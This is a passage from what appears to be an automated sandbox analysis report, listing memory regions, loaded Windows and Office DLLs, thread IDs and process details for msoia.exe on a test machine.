region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2324 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2325 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 2326 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2327 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2328 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2329 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2330 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2331 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2332 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2333 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2334 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2335 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2336 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2337 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2338 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2339 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2340 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2341 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2342 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2343 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2344 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2345 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2346 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2347 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2348 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2349 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2350 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2351 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2352 start_va = 0x7fef8a90000 end_va = 0x7fef8aa8fff entry_point = 0x7fef8a90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2353 start_va = 0x7fef8ab0000 end_va = 0x7fef8ac4fff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Thread: id = 143 os_tid = 0x828 Thread: id = 202 os_tid = 0x8f8 Thread: id = 204 os_tid = 0xaa0 Thread: id = 205 os_tid = 0xaa8 Thread: id = 206 os_tid = 0xaac Thread: id = 209 os_tid = 0xa48 Thread: id = 211 os_tid = 0xa4c Thread: id = 213 os_tid = 0x9fc Thread: id = 215 os_tid = 0x7c0 Thread: id = 216 os_tid = 0x7ec Thread: id = 217 os_tid = 0xabc Thread: id = 221 os_tid = 0xb00 Thread: id = 222 os_tid = 0xaf4 Thread: id = 226 os_tid = 0xaf0 Thread: id = 230 os_tid = 0xae4 Thread: id = 235 os_tid = 0x64 Process: id = "13" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x158be000" os_pid = "0x960" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x83c" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload mininterval:2880" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1704 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1705 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1706 start_va = 0xb0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1707 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1708 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1709 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1710 start_va = 0x13f9b0000 end_va = 0x13fcf1fff entry_point = 0x13f9b0000 region_type = mapped_file name = "msoia.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe") Region: id = 1711 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1712 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1713 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1714 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1726 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1727 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1728 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1783 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1784 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1785 start_va = 0x40000 end_va = 0xa6fff entry_point = 0x40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1786 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1787 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1788 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1789 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1790 start_va = 0x1f0000 end_va = 0x1f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1791 start_va = 0x290000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1792 start_va = 0x3e0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 1793 start_va = 0x4e0000 end_va = 0x667fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 1794 start_va = 0x670000 end_va = 0x7f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 1795 start_va = 0x800000 end_va = 0x1bfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1796 start_va = 0x1c00000 end_va = 0x1ecefff entry_point = 0x1c00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1797 start_va = 0x1ed0000 end_va = 0x22c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 1798 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1799 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1800 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1801 start_va = 0x7fef8370000 end_va = 0x7fef8559fff entry_point = 0x7fef8370000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 1802 start_va = 0x7fef8560000 end_va = 0x7fef8799fff entry_point = 0x7fef8560000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 1803 start_va = 0x7fefaa80000 end_va = 0x7fefaa82fff entry_point = 0x7fefaa80000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1804 start_va = 0x7fefaa90000 end_va = 0x7fefaa92fff entry_point = 0x7fefaa90000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1805 start_va = 0x7fefaaa0000 end_va = 0x7fefaaa2fff entry_point = 0x7fefaaa0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1806 start_va = 0x7fefaab0000 end_va = 0x7fefaab2fff entry_point = 0x7fefaab0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1807 start_va = 0x7fefaac0000 end_va = 0x7fefaac4fff entry_point = 0x7fefaac0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1808 start_va = 0x7fefaad0000 end_va = 0x7fefaad4fff entry_point = 0x7fefaad0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1809 start_va = 0x7fefaae0000 end_va = 0x7fefaae2fff entry_point = 0x7fefaae0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 1810 start_va = 0x7fefaaf0000 end_va = 0x7fefab8bfff entry_point = 0x7fefaaf0000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 1811 start_va = 0x7fefab90000 end_va = 0x7fefab93fff entry_point = 0x7fefab90000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1812 start_va = 0x7fefaba0000 end_va = 0x7fefaba3fff entry_point = 0x7fefaba0000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1813 start_va = 0x7fefabb0000 end_va = 0x7fefabb2fff entry_point = 0x7fefabb0000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1814 start_va = 0x7fefabc0000 end_va = 0x7fefabc3fff entry_point = 0x7fefabc0000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1815 start_va = 0x7fefabd0000 end_va = 0x7fefabd2fff entry_point = 0x7fefabd0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1816 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1817 start_va = 0x7fefabf0000 end_va = 0x7fefabf2fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1818 start_va = 0x7fefac00000 end_va = 0x7fefac02fff entry_point = 0x7fefac00000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1819 start_va = 0x7fefac10000 end_va = 0x7fefac12fff entry_point = 0x7fefac10000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1820 start_va = 0x7fefac20000 end_va = 0x7fefac22fff entry_point = 0x7fefac20000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1821 start_va = 0x7fefac30000 end_va = 0x7fefad21fff entry_point = 0x7fefac30000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1822 start_va = 0x7fefad30000 end_va = 0x7fefad33fff entry_point = 0x7fefad30000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1823 start_va = 0x7fefad40000 end_va = 0x7fefad55fff entry_point = 0x7fefad40000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 1824 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1825 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1826 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1827 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1828 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1829 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1830 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1831 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1832 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1833 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1834 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1835 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1836 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1837 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1838 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1845 start_va = 0x37c80000 end_va = 0x37c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000037c80000" filename = "" Region: id = 1847 start_va = 0x7febdd50000 end_va = 0x7febdd5ffff entry_point = 0x0 region_type = private name = "private_0x000007febdd50000" filename = "" Region: id = 1968 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1969 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1970 start_va = 0x22d0000 end_va = 0x23cffff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1971 start_va = 0x23d0000 end_va = 0x24aefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 1972 start_va = 0x2520000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 1973 start_va = 0x2600000 end_va = 0x26fffff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1974 start_va = 0x2700000 end_va = 0x27fffff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 1975 start_va = 0x2800000 end_va = 0x28fffff entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 1976 start_va = 0x2930000 end_va = 0x2a2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 1977 start_va = 0x7fee7620000 end_va = 0x7fee76bffff entry_point = 0x7fee7620000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 1978 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 1979 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 1980 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1981 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1982 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1983 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1984 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1985 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1986 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2184 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2185 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 2186 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2187 start_va = 0x250000 end_va = 0x251fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 2188 start_va = 0x270000 end_va = 0x271fff entry_point = 0x0 region_type 